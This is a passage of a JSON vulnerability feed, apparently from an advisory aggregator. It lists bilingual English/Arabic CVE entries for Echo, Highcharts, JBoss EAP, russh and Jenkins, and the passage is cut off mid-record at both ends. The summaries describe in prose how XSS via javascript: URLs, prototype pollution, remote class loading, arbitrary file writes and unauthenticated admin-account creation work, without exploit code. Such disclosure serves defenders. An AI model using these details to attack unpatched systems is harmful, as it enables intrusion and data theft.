large responses, causing repeated or concurrent allocations that exhaust process memory. BodyDump is not enabled by default, and external request limits may reduce request-side exposure but do not bound response capture. This issue is fixed in 4.16.1.","ar":"Echo هو إطار عمل ويب بلغة Go. من الإصدار 4.0.0 حتى 4.16.1، يقوم وسيط BodyDump الاختياري في Echo v4 بقراءة أجسام الطلبات بالكامل في الذاكرة قبل تشغيل معالجات الأحداث ويحتفظ بأجسام الاستجابات بالكامل لرد الاتصال الخاص بالتفريغ دون حدود التقاط. يمكن لعميل دون مصادقة يمكنه الوصول إلى مسار يستخدم BodyDump إرسال أجسام كبيرة أو التأثير على استجابات كبيرة، مما يتسبب في تخصيصات متكررة أو متزامنة تستنزف ذاكرة العملية. لا يتم تمكين BodyDump افتراضياً، وقد تقلل حدود الطلبات الخارجية من التعرض من جانب الطلبات ولكنها لا تقيد التقاط الاستجابات. تمت معالجة هذه الثغرة في الإصدار 4.16.1."},"refs":[["https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f","ref"],["https://github.com/labstack/echo/releases/tag/v4.16.1","ref"],["https://github.com/labstack/echo/security/advisories/GHSA-f48p-c9v4-h7xv","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"labstack-echo"},{"id":"CVE-2026-118262","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-772","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T19:17:30Z","product":"labstack echo","affected":[],"title":{"en":"Echo: WebSocket proxy can retain connections and handlers after client disconnect","ar":"Echo: وكيل WebSocket يمكنه الاحتفاظ بالاتصالات والمعالجات بعد قطع اتصال العميل"},"summary":{"en":"Echo is a Go web framework. From 4.15.0 until 4.16.1 and 5.4.1, Echo's Proxy middleware can retain a handler, copy goroutines, and network connections after a WebSocket client disconnects when the upstream keeps its connection open. The raw proxy waits for both copy directions without reliably closing the peer connection when one direction ends, including when a rejected upgrade response uses HTTP keep-alive. Repeated connections can accumulate resources and cause denial of service, depending on proxy-route accessibility, upstream behavior, and connection deadlines. This issue is fixed in 4.16.1 and 5.4.1.","ar":"Echo هو إطار عمل ويب لـ Go. من الإصدار 4.15.0 حتى 4.16.1 و 5.4.1، يمكن لبرنامج الوسيط (Proxy) الخاص بـ Echo الاحتفاظ بمعالج، وعمليات نسخ لـ goroutines، واتصالات الشبكة بعد قطع اتصال عميل WebSocket عندما يحافظ المنبع على اتصال مفتوح. ينتظر الوكيل الخام كلا اتجاهي النسخ دون إغلاق اتصال النظير بشكل موثوق عند انتهاء أحد الاتجاهين، بما في ذلك عندما تستخدم استجابة الترقي المرفوضة ميزة HTTP keep-alive. يمكن للاتصالات المتكررة تجميع الموارد والتسبب في حجب الخدمة، اعتماداً على إمكانية الوصول إلى مسار الوكيل، وسلوك المنبع، ومواعيد انتهاء صلاحية الاتصال. تم إصلاح هذه المشكلة في الإصدارين 4.16.1 و 5.4.1."},"refs":[["https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec","ref"],["https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f","ref"],["https://github.com/labstack/echo/releases/tag/v4.16.1","ref"],["https://github.com/labstack/echo/releases/tag/v5.4.1","ref"],["https://github.com/labstack/echo/security/advisories/GHSA-9969-6676-49h5","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"labstack-echo"},{"id":"CVE-2026-118255","cvss":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T19:17:29Z","product":"highcharts highcharts","affected":[],"title":{"en":"Highcharts Grid: javascript: URL in credits.href runs script on click","ar":"مكتبة Highcharts Grid: عنوان javascript: URL في credits.href يُنفّذ شيفرة عند النقر"},"summary":{"en":"Highcharts JS is a JavaScript charting library based on SVG. From 2.0.0 until 3.2.0, Highcharts Grid applies credits.href to the credits link without validating the URL scheme. An attacker who controls Grid configuration can provide a javascript URL, and activating the credits link runs script in the origin of the hosting page with access to that application's data and session state.This issue is fixed in Grid Pro 3.2.0.","ar":"مكتبة Highcharts JS هي مكتبة رسوم بيانية تعتمد على SVG. في الإصدارات من 2.0.0 حتى 3.2.0، تطبق Highcharts Grid الرابط credits.href على رابط الاعتمادات دون التحقق من مخطط العنوان (URL scheme). يمكن لمهاجم يسيطر على إعدادات Grid توفير عنوان URL بلغة JavaScript، وعند تفعيل رابط الاعتمادات، يتم تنفيذ الشيفرة في أصل الصفحة المضيفة مع صلاحيات للوصول إلى بيانات ذلك التطبيق وحالة جلسته. تم إصلاح هذه المشكلة في الإصدار Grid Pro 3.2.0."},"refs":[["https://github.com/highcharts/highcharts/commit/45b74403acafbe9f621c4a343506721d9129e991","ref"],["https://github.com/highcharts/highcharts/pull/25351","ref"],["https://github.com/highcharts/highcharts/releases/tag/grid-v3.2.0","ref"],["https://github.com/highcharts/highcharts/security/advisories/GHSA-6hgp-fmhr-mrg4","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"highcharts"},{"id":"CVE-2026-84725","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-829","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T18:17:20Z","product":"Red Hat Red Hat JBoss Enterprise Application Platform 7","affected":[],"title":{"en":"Openjdk-orb: incomplete fix for cve-2026-15560,unauthed class loading via iiop in eap","ar":"Openjdk-orb: إصلاح غير مكتمل لـ cve-2026-15560، تحميل فئات دون مصادقة عبر iiop في eap"},"summary":{"en":"when EAP runs with -secmgr, the openjdk-orb's JDKBridge honours attacker-supplied CDR codebase URLs during object unmarshalling on :3528, allowing an unauthenticated attacker to load and instantiate arbitrary classes from a remote URL in the server JVM before EJB security interceptors run.","ar":"عندما يعمل EAP مع خيار -secmgr، فإن مكون JDKBridge في openjdk-orb يلتزم بعناوين URL لمستودع التعليمات البرمجية CDR المقدمة من المهاجم أثناء إلغاء ترميز الكائنات على المنفذ :3528، مما يسمح لمهاجم دون مصادقة بتحميل وإنشاء فئات عشوائية من عنوان URL عن بُعد في جهاز Java الظاهري للخادم قبل تشغيل اعتراضات أمان EJB."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-84725","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2527228","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"red-hat-jboss-enterprise-application-platform"},{"id":"CVE-2026-118250","cvss":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-1321","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T18:17:16Z","product":"highcharts highcharts","affected":[],"title":{"en":"Highcharts: dotted series.keys paths write to Object.prototype","ar":"Highcharts: مسارات series.keys المنقطة تكتب إلى Object.prototype"},"summary":{"en":"Highcharts JS is a JavaScript charting library based on SVG. From 6.1.0 until 11.4.9, 12.6.1, and 3.1.0, Highcharts follows dot-separated series.keys paths without filtering each segment. An attacker who controls series.keys and matching point data can use a path through __proto__ to assign arbitrary named properties to Object.prototype. Those properties are visible to all JavaScript in the page, and no user interaction is required beyond rendering the chart. This issue is fixed in 11.4.9, 12.6.1, and 3.1.0.","ar":"مكتبة Highcharts JS هي مكتبة رسوم بيانية تعتمد على SVG. من الإصدار 6.1.0 حتى 11.4.9 و12.6.1 و3.1.0، تتبع Highcharts مسارات series.keys مفصولة بنقاط دون تصفية كل جزء. يمكن لمهاجم يتحكم في series.keys وبيانات النقطة المطابقة استخدام مسار عبر __proto__ لتعيين خصائص مسماة عشوائية إلى Object.prototype. تلك الخصائص مرئية لجميع لغة JavaScript في الصفحة، ولا يلزم أي تفاعل من المستخدم بخلاف عرض الرسم البياني. تم إصلاح هذه المشكلة في الإصدارات 11.4.9 و12.6.1 و3.1.0."},"refs":[["https://github.com/highcharts/highcharts/commit/fd4ee8140732618bbe71295aba55398fb1f8fa9e","ref"],["https://github.com/highcharts/highcharts/pull/25313","ref"],["https://github.com/highcharts/highcharts/releases/tag/v13.1.0","ref"],["https://github.com/highcharts/highcharts/security/advisories/GHSA-rmqc-xvr3-v46c","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"highcharts"},{"id":"CVE-2026-118246","cvss":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T18:17:15Z","product":"highcharts highcharts","affected":[],"title":{"en":"Highcharts Core: `breadcrumbs.style` keys become SVG event-handler attributes","ar":"Highcharts Core: مفاتيح `breadcrumbs.style` تصبح سمات معالج أحداث SVG"},"summary":{"en":"Highcharts JS is a JavaScript charting library based on SVG. From 10.0.0 until 11.4.9, 12.6.1, and 13.1.0, Highcharts applies breadcrumbs.style as SVG attributes rather than CSS and does not filter the attribute names. An attacker who controls chart configuration can provide event-handler keys through drilldown.breadcrumbs, navigation.breadcrumbs, or hierarchical series breadcrumb options. The keys become active handlers on the breadcrumb button and execute in the hosting page origin after the user navigates to a level and hovers over or activates the button. Styled-mode charts do not apply this option and are not affected. This issue is fixed in 11.4.9, 12.6.1 and 13.1.0.","ar":"مكتبة Highcharts JS هي مكتبة رسوم بيانية تعتمد على SVG. من الإصدار 10.0.0 حتى 11.4.9 و12.6.1 و13.1.0، تطبق Highcharts خصائص breadcrumbs.style كسمات SVG وليست كـ CSS ولا تقوم بتصفية أسماء السمات. يمكن لمهاجم يتحكم في إعدادات الرسم البياني توفير مفاتيح معالجات الأحداث من خلال drilldown.breadcrumbs أو navigation.breadcrumbs أو خيارات فتات الخبز للسلسلة الهرمية. تصبح المفاتيح معالجات نشطة على زر فتات الخبز وتنفذ في أصل الصفحة المستضافة بعد أن ينتقل المستخدم إلى مستوى ويحوم فوق الزر أو ينشطه. لا تطبق الرسوم البيانية ذات النمط المخصص هذا الخيار ولا تأثر بها. تم إصلاح هذه المشكلة في الإصدارات 11.4.9 و12.6.1 و13.1.0."},"refs":[["https://github.com/highcharts/highcharts/commit/b0fafdaaee7d0cac2ecfeb0eaf37b11cd40594ef","ref"],["https://github.com/highcharts/highcharts/releases/tag/v13.1.0","ref"],["https://github.com/highcharts/highcharts/security/advisories/GHSA-35rr-xwfh-x789","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"highcharts"},{"id":"CVE-2026-116794","cvss":8.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T18:17:14Z","product":"russh","affected":[["< 0.65","0.65"]],"title":{"en":"russh: Agent server never calls `Agent::confirm`, so keys added with the confirm constraint (`ssh-add -c`) sign without confirmation","ar":"russh: خادم الوكيل لا يستدعي أبدًا `Agent::confirm`، لذا فإن المفاتيح المضافة بقيد التأكيد (`ssh-add -c`) توقع دون تأكيد"},"summary":{"en":"russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. From 0.50.0-beta.12 until 0.65.0, the agent server's Connection::try_sign path in russh/src/keys/agent/server.rs recognizes SSH_AGENT_CONSTRAIN_CONFIRM but returns a hard-coded successful result instead of calling Agent::confirm. In applications that override Agent::confirm to require user approval or another policy check, a process that can reach the agent socket, including the remote side of a forwarded agent, can use a key added through ssh-add -c without that check and can authenticate or sign data as the user while the key remains loaded. The separate Agent::confirm_request hook still runs for every signing request, so checks implemented there remain effective, and implementations that retain the default always-successful Agent::confirm do not lose an approval check through this regression. This issue is fixed in version 0.65.0.","ar":"مكتبة russh هي مكتبة عميل وخادم SSH بلغة Rust تتضمن تنفيذ بروتوكول وكيل SSH. من الإصدار 0.50.0-beta.12 حتى 0.65.0، يتعرف مسار Connection::try_sign لخادم الوكيل في russh/src/keys/agent/server.rs على SSH__AGENT_CONSTRAIN_CONFIRM ولكنه يُرجع نتيجة نجاح مبرمجة مسبقًا بدلاً من استدعاء Agent::confirm. في التطبيقات التي تتجاوز Agent::confirm لطلب موافقة المستخدم أو فحص سياسة أخرى، يمكن لعملية يمكنها الوصول إلى مقبس الوكيل، بما في ذلك الجانب البعيد لوكيل مُعاد توجيهه، استخدام مفتاح مضاف من خلال ssh-add -c دون هذا الفحص ويمكنها المصادقة أو توقيع البيانات كـ مستخدم بينما يظل المفتاح محَملاً. لا يزال خطاف Agent::confirm_request المنفصل يعمل لكل طلب توقيع، لذا تظل عمليات التحقق المنفذة هناك فعالة، ولا تفقد التطبيقات التي تحتفظ بـ Agent::confirm الافتراضي الناجح دائماً فحص الموافقة من خلال هذا التراجع. تم إصلاح هذه المشكلة في الإصدار 0.65.0."},"refs":[["https://github.com/advisories/GHSA-vp5q-ff62-jwqv","advisory"],["https://github.com/Eugeny/russh/commit/3e04597dc54e36bfc85c21996f7d8d9d224e9826","ref"],["https://github.com/Eugeny/russh/commit/62db6e7defd6d244159da962ccccb029e785ce0f","ref"],["https://github.com/Eugeny/russh/releases/tag/v0.65.0","ref"],["https://github.com/Eugeny/russh/security/advisories/GHSA-vp5q-ff62-jwqv","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-116794","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"russh"},{"id":"CVE-2026-118242","cvss":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T18:17:14Z","product":"highcharts highcharts","affected":[],"title":{"en":"Highcharts Grid: custom icon definition objects written with raw `setAttribute` on `<path>`","ar":"Highcharts Grid: كائنات تعريف الأيقونات المخصصة مكتوبة باستخدام `setAttribute` الخام على `<path>`"},"summary":{"en":"Highcharts JS is a JavaScript charting library based on SVG. From 2.3.0 until 3.2.0, Highcharts Grid creates SVG path elements from rendering.icons object definitions and previously copied every child key with setAttribute. An attacker who controls Grid configuration can supply event-handler attribute names in an icon definition. Because custom icons override built-ins, the attacker can replace default sort or pagination icons, and script runs in the hosting page origin when a user hovers over or activates the affected icon. This issue is fixed in 3.2.0.","ar":"مكتبة Highcharts JS هي مكتبة رسوم بيانية تعتمد على SVG. من الإصدار 2.3.0 حتى 3.2.0، تنشئ Highcharts Grid عناصر مسار SVG من تعريفات كائن rendering.icons وقامت مسبقًا بنسخ كل مفتاح فرعي باستخدام setAttribute. يمكن لمهاجم يتحكم في إعدادات Grid توفير أسماء سمات معالج الأحداث في تعريف الأيقونة. ونظرًا لأن الأيقونات المخصصة تتجاوز الأيقونات المضمنة، يمكن للمهاجم استبدال أيقونات الترتيب أو التصفح الافتراضية، وتعمل الشيفرة البرمجية في أصل الصفحة المستضافة عندما يحوم المستخدم فوق الأيقونة المتأثرة أو ينشطها. تم إصلاح هذه المشكلة في الإصدار 3.2.0."},"refs":[["https://github.com/highcharts/highcharts/commit/8fc970658fee6601625b42da29d27c3ef7c45e30","ref"],["https://github.com/highcharts/highcharts/security/advisories/GHSA-6g3c-p4fg-xv47","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"highcharts"},{"id":"CVE-2026-118254","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T18:13:20Z","product":"highcharts highcharts","affected":[],"title":{"en":"Highcharts Grid: pagination language options are parsed as HTML","ar":"شبكة Highcharts: تتم تحليل خيارات لغة الترقيم كنص HTML"},"summary":{"en":"Highcharts JS is a JavaScript charting library based on SVG. From 2.0.0 until 3.2.0, Highcharts Grid writes pagination language strings into the DOM as markup instead of text. An attacker who controls the Grid language configuration can provide elements with event handlers, which execute in the hosting page origin when pagination controls render. Exploitation requires pagination to be enabled but does not require additional user interaction. This issue is fixed in 3.2.0.","ar":"مكتبة Highcharts JS هي مكتبة رسوم بيانية تعتمد على SVG بلغة JavaScript. من الإصدار 2.0.0 حتى 3.2.0، تكتب شبكة Highcharts سلاسل لغة الترقيم في DOM كعناصر ترميز وليست نصًا. يمكن للمهاجم الذي يتحكم في إعدادات لغة الشبكة توفير عناصر تحتوي على معالجات أحداث، والتي يتم تنفيذها في أصل الصفحة المضيفة عند عرض عناصر التحكم في الترقيم. يتطلب الاستغلال تمكين خاصية الترقيم ولكن لا يتطلب تفاعلاً إضافياً من المستخدم. تم إصلاح هذه المشكلة في الإصدار 3.2.0."},"refs":[["https://github.com/highcharts/highcharts/security/advisories/GHSA-r5wg-q8fc-p6w2","ref"],["https://github.com/highcharts/highcharts/commit/1e8ded84d52191883965641b863cf0c73eb759aa","ref"],["https://github.com/highcharts/highcharts/releases/tag/grid-v3.2.0","ref"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"highcharts"},{"id":"CVE-2026-118251","cvss":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T18:02:46Z","product":"highcharts highcharts","affected":[],"title":{"en":"Highcharts: javascript: URL in credits.href runs script on click","ar":"Highcharts: عنوان URL من نوع javascript في credits.href يشغل نصًا برمجيًا عند النقر"},"summary":{"en":"Highcharts JS is a JavaScript charting library based on SVG. Prior to 11.4.9, 12.6.1, and 13.1.0, Highcharts assigns credits.href to the window location when the credits label is clicked without checking the URL against the allowed-scheme list. An attacker who controls chart configuration can provide a javascript URL and run script in the origin of the hosting page when a user clicks the credits label. Highcharts Stock, Maps, and Gantt are included because they ship from the same package. This issue is fixed in 11.4.9, 12.6.1 and 13.1.0.","ar":"Highcharts JS هي مكتبة رسوم بيانية جافا سكريبت تعتمد على SVG. في الإصدارات السابقة لـ 11.4.9 و 12.6.1 و 13.1.0، تقوم Highcharts تعيين credits.href إلى موقع النافذة عند النقر فوق تسمية ال credits دون التحقق من عنوان URL مقابل قائمة المخططات المسموح بها. يمكن لمهاجم يسيطر على تكوين الرسم البياني توفير عنوان URL لجافا سكريتم وتشغيل نص برمجي في أصل الصفحة المستضيفة عندما ينقر المستخدم على تسمية ال credits. تم تضمين Highcharts Stock و Maps و Gantt لأنها يتم شحنها من نفس الحزمة. تم إصلاح هذه المشكلة في الإصدارات 11.4.9 و 12.6.1 و 13.1.0."},"refs":[["https://github.com/highcharts/highcharts/security/advisories/GHSA-5793-x2q3-c3q7","ref"],["https://github.com/highcharts/highcharts/pull/25315","ref"],["https://github.com/highcharts/highcharts/commit/9534773d0f41400aac0945bf8aaebc38dfc72aff","ref"],["https://github.com/highcharts/highcharts/releases/tag/v13.1.0","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"highcharts"},{"id":"CVE-2026-117624","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:18:21Z","product":"Jenkins Jenkins","affected":[[" – <2.580.2","2.580.2"],[" – <2.588","2.588"]],"title":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier does not consistently enforce the restriction on deserializing objects of types marked as storing t","ar":"إصدارات Jenkins 2.587 وما قبلها، وLTS 2.580.1 وما قبلها لا تفرض باستمرار القيود المفروضة على إلغاء تسلسل الكائنات"},"summary":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier does not consistently enforce the restriction on deserializing objects of types marked as storing their configuration in independent top-level configuration files as nested values, allowing attackers to bypass the root element check and potentially inject nested objects.","ar":"إصدارات Jenkins 2.587 وما قبلها، وLTS 2.580.1 وما قبلها لا تفرض باستمرار القيود المفروضة على إلغاء تسلسل الكائنات ذات الأنواع المُحددة كتخزين لإعداداتها في ملفات إعدادات مستقلة ضمن المستوى العلوي كقيم متداخلة، مما يسمح للمهاجمين بتجاوز التحقق من العنصر الجذر وربما حقن كائنات متداخلة."},"refs":[["https://www.jenkins.io/security/advisory/2026-10-28/#SECURITY-4243","advisory"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jenkins"},{"id":"CVE-2026-117619","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:18:21Z","product":"Jenkins Jenkins","affected":[[" – <2.580.2","2.580.2"],[" – <2.588","2.588"]],"title":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier allows requests authenticated using HTTP Basic authentication, including with an API token, to obta","ar":"Jenkins الإصدار 2.587 وما يسبقه، ونسخ الدعم طويل الأمد LTS 2.580.1 وما يسبقه تسمح للطلبات المصادق عليها باستخدام مصادقة HTTP الأساسية، بما في ذلك الرمز المميز لواجهة البرمجة التطبيقية API token، بالحصول على..."},"summary":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier allows requests authenticated using HTTP Basic authentication, including with an API token, to obtain a \"remember me\" cookie, allowing attackers who have obtained a user's API token to retain access to Jenkins using a \"remember me\" cookie after the API token is revoked or expires.","ar":"تسمح إصدارات Jenkins 2.587 وما يسبقه، ونسخ الدعم طويل الأمد LTS 2.580.1 وما يسبقه للطلبات المصادق عليها باستخدام مصادقة HTTP الأساسية، بما في ذلك الرمز المميز لواجهة البرمجة التطبيقية API token، بالحصول على ملف تعريف ارتباط \"تذكرني\" (remember me cookie)، مما يسمح للمهاجمين الذين حصلوا على الرمز المميز لواجهة البرمجة التطبيقية الخاص بالمستخدم بالاحتفاظ بالوصول إلى Jenkins باستخدام ملف تعريف ارتباط \"تذكرني\" بعد إلغاء الرمز المميز أو انتهاء صلاحيته."},"refs":[["https://www.jenkins.io/security/advisory/2026-10-28/#SECURITY-4189","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jenkins"},{"id":"CVE-2026-117620","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:18:21Z","product":"Jenkins Jenkins","affected":[[" – <2.580.2","2.580.2"],[" – <2.588","2.588"]],"title":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier allows attackers with Overall/Read permission to trigger warnings in the \"Manage Old Data\" feature ","ar":"Jenkins الإصدار 2.587 وما يسبقه، ونسخ الدعم طويل الأمد LTS 2.580.1 وما يسبقه تسمح للمهاجمين الذين يمتلكون إذن Overall/Read بتحريك تحذيرات في ميزة \"Manage Old Data\""},"summary":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier allows attackers with Overall/Read permission to trigger warnings in the \"Manage Old Data\" feature that can be acted on by administrators to inject attacker-controlled data, overriding existing user account information, including login passwords.","ar":"تسمح إصدارات Jenkins 2.587 وما يسبقه، ونسخ الدعم طويل الأمد LTS 2.580.1 وما يسبقه للمهاجمين الذين يمتلكون إذن Overall/Read بتحريك تحذيرات في ميزة \"Manage Old Data\" يمكن للمسؤولين التعامل معها بما يؤدي إلى حقن بيانات يتحكم بها المهاجم، مما يؤدي إلى تجاوز معلومات حساب المستخدم الموجودة، بما في ذلك كلمات مرور تسجيل الدخول."},"refs":[["https://www.jenkins.io/security/advisory/2026-10-28/#SECURITY-4226","advisory"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jenkins"},{"id":"CVE-2026-117617","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-59","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:18:21Z","product":"Jenkins Jenkins","affected":[[" – <2.580.2","2.580.2"],[" – <2.588","2.588"]],"title":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier checks for symbolic links in the path of an extracted file only before creating its parent director","ar":"تحقق Jenkins 2.587 والإصدارات السابقة، وLTS 2.580.1 والإصدارات السابقة من الارتباطات الرمزية في مسار الملف المستخرج فقط قبل إنشاء المجلدات الأصلية"},"summary":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier checks for symbolic links in the path of an extracted file only before creating its parent directories, not immediately before writing it, and allows symbolic links in artifacts to replace existing files or empty directories, allowing attackers with Item/Configure permission to write files to arbitrary locations on the Jenkins controller file system.","ar":"تقوم إصدارات Jenkins 2.587 والإصدارات السابقة، وLTS 2.580.1 والإصدارات السابقة بالتحقق من الارتباطات الرمزية في مسار الملف المستخرج فقط قبل إنشاء مجلداتها الأصلية وليس مباشرة قبل كتابته، وتسمح للارتباطات الرمزية في العناصر المستندة بالحلول محل الملفات الحالية أو المجلدات الفارغة، مما يتيح للمهاجمين الذين يملكون إذن Item/Configure كتابة ملفات في مواقع عشوائية على نظام ملفات وحدة تحكم Jenkins."},"refs":[["https://www.jenkins.io/security/advisory/2026-10-28/#SECURITY-4248","advisory"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jenkins"},{"id":"CVE-2026-117618","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-362","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:18:21Z","product":"Jenkins Jenkins","affected":[[" – <2.580.2","2.580.2"],[" – <2.588","2.588"]],"title":{"en":"In Jenkins 2.587 and earlier, LTS 2.580.1 and earlier, the HTTP endpoint for creating the first user account does not check whether the setup wizard h","ar":"في Jenkins 2.587 والإصدارات السابقة، وLTS 2.580.1 والإصدارات السابقة، لا تتحقق نقطة نهاية HTTP لإنشاء حساب المستخدم الأول مما إذا كان معالج الإعداد"},"summary":{"en":"In Jenkins 2.587 and earlier, LTS 2.580.1 and earlier, the HTTP endpoint for creating the first user account does not check whether the setup wizard has been completed, resulting in a race condition that allows unauthenticated attackers to create an administrator account while the initial user account is being replaced.","ar":"في إصدارات Jenkins 2.587 والإصدارات السابقة، وLTS 2.580.1 والإصدارات السابقة، لا تتحقق نقطة نهاية HTTP المخصصة لإنشاء حساب المستخدم الأول مما إذا تم إكمال معالج الإعداد، مما ينتج عنه حالة تسابق تسمح للمهاجمين دون مصادقة بإنشاء حساب مسؤول أثناء استبدال حساب المستخدم الأولي."},"refs":[["https://www.jenkins.io/security/advisory/2026-10-28/#SECURITY-4122","advisory"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jenkins"},{"id":"CVE-2026-117616","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:18:20Z","product":"Jenkins Jenkins","affected":[[" – 